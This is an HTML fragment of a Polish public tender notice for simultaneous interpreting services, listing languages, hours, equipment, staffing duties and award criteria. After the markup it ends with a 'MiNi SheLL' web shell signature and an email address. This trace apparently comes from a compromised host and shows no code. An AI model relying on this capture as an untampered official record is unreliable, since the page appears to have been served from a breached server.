</b><br/>okres w miesiącach: 12<br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Cena średnia ważona (brutto)</td><td style="border: 1px solid black;border-collapse: collapse;">60,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Gwarancja na wykonanie tłumaczenia</td><td style="border: 1px solid black;border-collapse: collapse;">40,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>2</td><td><b>Nazwa: </b></td><td>TŁUMACZENIA SYMULTANICZNE </td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>1)	Tłumaczenia symultaniczne dotyczą następujących języków obcych podzielonych na 2 grupy:a)	Grupa I: angielski, niemiecki, rosyjski;b)	Grupa II: węgierski, francuski, litewski, czeski, rumuński, słowacki, gruziński, białoruski, hiszpański, włoski, ukraiński. 2)	Poszczególne tłumaczenia symultaniczne będą zlecane przez Zamawiającego sukcesywnie, stosownie do potrzeb Zamawiającego i w terminach określanych każdorazowo dla danego zlecenia przez Zamawiającego. Wzór zlecenia na wykonanie tłumaczenia symultanicznego określa Załącznik nr 7.2 do SIWZ. 3)	Przewidywana ilość tłumaczeń symultanicznych:a)	I grupa językowa – tłumaczenia z języka polskiego na język obcy oraz z języka obcego na język polski – ok. 204 godzin,b)	II grupa językowa – tłumaczenia z języka polskiego na język obcy oraz z języka obcego na język polski – ok. 18 godzin. Podaną ilość godzin należy traktować jako wielkości szacunkowe, służące jedynie do skalkulowania ceny oferty, porównania i oceny złożonych ofert. Tłumaczenia będą realizowane sukcesywnie w zależności od bieżących potrzeb Zamawiającego w okresie 12 miesięcy od dnia zawarcia umowy lub do wyczerpania kwoty, jaką Zamawiający przeznaczył na sfinansowanie zamówienia.4)	Zamawiający przewiduje, że większość tłumaczeń symultanicznych odbędzie się na terenie Warszawy.5)	Tematyka tłumaczeń obejmować będzie w szczególności zagadnienia z zakresu: historii najnowszej Polski i powszechnej, prawa i administracji.6)	Wykonawca jest zobowiązany do posługiwania się w tłumaczeniach terminologią powszechnie używaną przez doktrynę w dziedzinie historii współczesnej, a także polskiej administracji rządowej, tłumacze muszą wykazać się znajomością słownictwa, zwłaszcza nazw własnych używanych w historii najnowszej.7)	Jednostką rozliczeniową jest każda rozpoczęta godzina zegarowa tłumaczenia symultanicznego. 8)	Przez 1 godzinę tłumaczenia symultanicznego rozumie się 60 minut pracy jednego tłumacza.9)	W przypadku tłumaczeń symultanicznych przewiduje się obsługę konferencji, seminariów oraz spotkań. Na konferencji/seminarium/spotkaniu przewiduje się udział od 50 do 150 osób. Możliwy jest udział w spotkaniu ponad 150 osób.10)	W przypadku tłumaczeń symultanicznych z wykorzystaniem sprzętu do tłumaczenia Wykonawca, w przypadku takiego zlecenia przez Zamawiającego, zobowiązuje się do zapewnienia obsługi tłumaczeniowej oraz do zapewnienia odpowiedniego sprzętu w miejscu wskazanym przez Zamawiającego. Wykonawca zobowiązuje się również do dostarczenia sprzętu nagłośnieniowego kompatybilnego ze sprzętem do tłumaczenia symultanicznego oraz zapewnić obsługę techniczną odpowiedzialną za instalację, konfigurację i demontaż sprzętu, wydawania i zbierania odbiorników bezprzewodowych ze słuchawkami, podawanie mikrofonu podczas dyskusji z salą. Wykonawca musi wyznaczyć minimum dwie osoby obecne na konferencji przez cały czas jej trwania do sprawowania nadzoru technicznego.11)	W przypadku zlecenia przez Zamawiającego wykonania tłumaczenia symultanicznego z wykorzystaniem sprzętu Wykonawcy, Wykonawca jest zobowiązany zapewnić kompletny sprzęt do profesjonalnego wykonania tłumaczenia wraz z nagłośnieniem sali konferencyjnej, w miejscu wskazanym przez Zamawiającego.12)	W skład sprzętu do tłumaczenia symultanicznego realizowanego w jednej sali konferencyjnej wchodzić będą (możliwe jest, że konferencja odbywa się w dwóch salach równolegle, wtedy ilość sprzętu i osób z obsługi należy podwoić): a)	kabina tłumaczy, dwuosobowa z wyposażeniem (dwa pulpity tłumacza) – 1 szt. (przy założeniu, że tłumaczenie dotyczy dwóch języków)b)	mikrofon bezprzewodowy ręczny – 2 szt.c)	mikrofony przewodowe na stole prezydialnym – 2 do 5 szt.d)	odbiorniki bezprzewodowy ze słuchawkami 50 – 150 szt. (lub więcej – o około 150 szt.)e)	nagłośnienie (kolumny) – 2 szt.f)	wzmacniacz miksujący – 1 szt.g)	eliminator sprzężeń akustycznych – 1 szt.h)	nadajnik bezprzewodowy – 1 szt.i)	inne wyposażenie techniczne w zakresie sprzętu do tłumaczenia symultanicznego niezbędne dla prawidłowej realizacji tłumaczenia.13)	Zamawiający może zlecić dostarczenie dodatkowej ilości odbiorników bezprzewodowych ze słuchawkami.14)	Wykonawca zobowiązuje się do realizacji tłumaczeń symultanicznych przez dwóch tłumaczy.15)	Wraz ze sprzętem Wykonawca zobowiązany jest zapewnić na własny koszt obsługę techniczną, odpowiedzialną za instalację, konfigurację, montaż i demontaż sprzętu oraz nadzór techniczny podczas trwania konferencji. Wykonawca jest zobowiązany zapewnić na własny koszt transport całości sprzętu do/z miejsca, w którym organizowana jest konferencja. Sprzęt musi być doprowadzony do pełnej funkcjonalności i użyteczności na wskazanej sali konferencyjnej, na co najmniej 45 minut przed rozpoczęciem konferencji (tj. sprzęt musi zostać podłączony, sprawdzone jego działanie, przygotowane stanowisko do wydawania i odbierania odbiorników bezprzewodowych ze słuchawkami). Za wydawanie i późniejsze odbieranie odbiorników bezprzewodowych ze słuchawkami odpowiedzialny jest pracownik Wykonawcy. Wydawanie odbiorników bezprzewodowych ze słuchawkami na podstawie danych spisanych z dokumentu tożsamości.16)	W przypadku tłumaczeń symultanicznych, czas pracy tłumacza liczy się od chwili rozpoczęcia spotkania do momentu, w którym tłumacz został zwolniony przez przedstawiciela Zamawiającego z wykonywania tłumaczenia. Tłumacz ma obowiązek stawić się we wskazanym przez Zamawiającego w zleceniu czasie i miejscu na 30 minut przed zaplanowanym rozpoczęciem spotkania, w celu uzgodnienia szczegółów związanych z jego realizacją.17)	Zlecenia tłumaczeń symultanicznych będą dokonywane z wyprzedzeniem 9 dni roboczych.18)	Wykonawca jest zobowiązany zgłosić gotowość do wykonania zlecenia, o którym mowa w ust. 19 w terminie min. 4 dni roboczych, max. 7 dni roboczych przed planowaną datą świadczenia usługi.19)	Wykonawca zobowiązany jest na każde żądanie Zamawiającego zapewnić możliwość podpięcia do skrzynki dziennikarskiej urządzenia rejestrującego dźwięk stereo (wejście XLR lub duży jack).20)	Tłumaczenia będące przedmiotem umowy dokonywane będą przez tłumaczy wskazanych przez Wykonawcę w Wykazie osób (Załącznik nr 5.2 do SIWZ).21)	Wykonawca zobowiązuje się do nagrania pierwszej wersji językowej (nie tłumaczenia) na nośnikach cyfrowych, a następnie przekazanie ich osobie odpowiedzialnej ze strony Zamawiającego.22)	Podstawą ustalenia wynagrodzenia Wykonawcy jest liczba godzin przeprowadzonego tłumaczenia. 23)	Wykonawca przedstawi Zamawiającemu fakturę po pozytywnym potwierdzeniu wykonania tłumaczenia symultanicznego. Podstawą zapłaty wynagrodzenia będzie potwierdzenie wykonania tłumaczenia symultanicznego (Załącznik nr 9.2 do SIWZ).<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79540000-1, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: 12<br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena (brutto)</td><td style="border: 1px solid black;border-collapse: collapse;">60,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">termin płatności</td><td style="border: 1px solid black;border-collapse: collapse;">10,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">termin zgłoszenia gotowości do świadczenia usługi tłumaczenia</td><td style="border: 1px solid black;border-collapse: collapse;">30,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/> </div> <br /> <br /> </div> <br /> <br /> <table> <tr> <td> </td> </tr> </table> </div> <script type="text/javascript">//<![CDATA[//]]></script>

Creat By MiNi SheLL
Email: jattceo@gmail.com